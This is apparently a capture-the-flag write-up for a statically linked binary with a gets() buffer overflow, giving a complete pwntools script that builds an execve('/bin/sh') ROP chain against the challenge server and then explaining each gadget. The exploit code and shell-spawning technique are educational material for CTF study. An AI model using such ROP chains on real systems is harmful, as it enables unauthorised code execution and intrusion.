Statics and Dynamics

So this is a static binary. It's got a lot of libc zipped up within itself, removing ret2libc and ret2plt and stuff like that. Disassembling main and ignoring all the extra libc functions, we see it prints the string about it being a large binary and then calls gets on rbp-0x100. So, buffer overflow obviously. But what do we ret to? How to pop a shell?

System, execve etc. all the stuff that may be useful for shell popping is removed from the binary's libc functions. That doesn't matter though.

The libc is big, and it has a lot of purposes. It'll need to do many things including syscalls. Because of this, libc is always a ROP gadget goldmine. Since this binary has most of libc in itself, this binary is also a ROP gadget goldmine.

Due to this, we can build a simple execve ROP chain to execve("/bin/sh",NULL,NULL), then cat flag.txt.

from pwn import *
NUM_TO_RET = 0x100 + 8
padding = b'A' * NUM_TO_RET
e = ELF("./sad")
poprax = 0x000000000043f8d7
poprdi = 0x000000000040187a
poprsi = 0x0000000000407aae
poprdx = 0x000000000040177f
syscall = 0x000000000040eda4
binsh = next(e.search(b"/bin/sh\x00"))
# Build execve rop chain
payload = flat(poprdi,binsh,poprsi,0,poprdx,0,poprax,0x3b,syscall,word_size=64)
p = e.process() if args.LOCAL else remote('jh2i.com', 50002)
p.recvline()
p.sendline(padding + payload)
p.interactive()

Flag: flag{radically_statically_roppingly_vulnerable}

EXPLANATION:

What I just used here is called Return Oriented Programming. ROP works by building chains of return addresses. When a program rets, it'll go to the next value off the stack as a return address. So, if our input is ever at the top of the stack, we can build chains of return addresses, causing it to continue ret-ing into the next location.

The ROP chain i used uses syscalls or system calls, the lowest level, used for special calls to the system, e.g opening files, writing to files, and in this case executing files.

The chain I just used is as follows. It uses the execve syscall since the function is not available. Remember 64-bit arguments are in rdi, then rsi, then rdx...

Our goal is to execute execve("/bin/sh",0,0) as a syscall

  • pop rdi address - pop next value off the stack into rdi for first argument

  • /bin/sh address - to be popped into rdi as first argument

  • pop rsi address - pop next value off the stack into rsi for second argument

  • 0 - to be popped into rsi as second argument

  • pop rdx address - pop next value off the stack into rdx for third argument

  • 0 - to be popped into rdx as third argument

  • pop rax address - pop next value off of the stack into rax. RAX stores the syscall number when a syscall is done.

  • 0x3b - to be popped into rax for the syscall number. 0x3b is execve

  • syscall address - execute the syscall. Will be asking the kernel to execute execve("/bin/sh",0,0)

Last updated